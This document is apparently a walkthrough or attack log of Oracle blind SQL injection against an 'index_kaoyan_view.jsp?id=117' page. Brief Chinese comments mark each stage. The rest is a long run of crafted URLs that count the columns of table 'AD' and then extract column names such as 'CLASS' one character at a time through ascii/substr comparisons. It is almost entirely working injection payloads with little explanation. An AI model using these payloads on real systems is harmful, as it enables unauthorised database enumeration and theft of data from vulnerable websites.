    http://www.test.net/index_kaoyan_view.jsp?id=117 And 109>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 102=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 102>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 99=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 99>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 97=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 97>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 53=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 53>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 51=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 51>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 50=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 50>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 48=ascii(substr((SELECT COUNT(*) FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))



     以下为猜解第一列的第一个字段名CLASS的长度为:5

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 5<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 9>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 7=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 7>nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 5=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)



     以下为猜解第一列第一个字段的第一位为:C

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 78=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 78>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 71=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 71>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 68=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 68>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 66=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 66>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))



     以下为猜解第一列第一个字段的第一位为:L

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 79=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 79>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 73=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 73>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 76=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))



     以下为猜解第一列第一个字段的第三位为:A

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 76=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 83=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 83>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 79=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 79>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))



    http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 78=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 78>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 84=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 84>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 81=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 81>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 82=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 82>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 83=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 83=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))



     以下为猜解第二列:

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 5<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 9>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 7=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 78=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 78>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 71=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 71>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 74=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 74>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 72=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 72=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 81=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 81>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 76=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 76>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 74=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 74>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 73=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 73=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 82=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

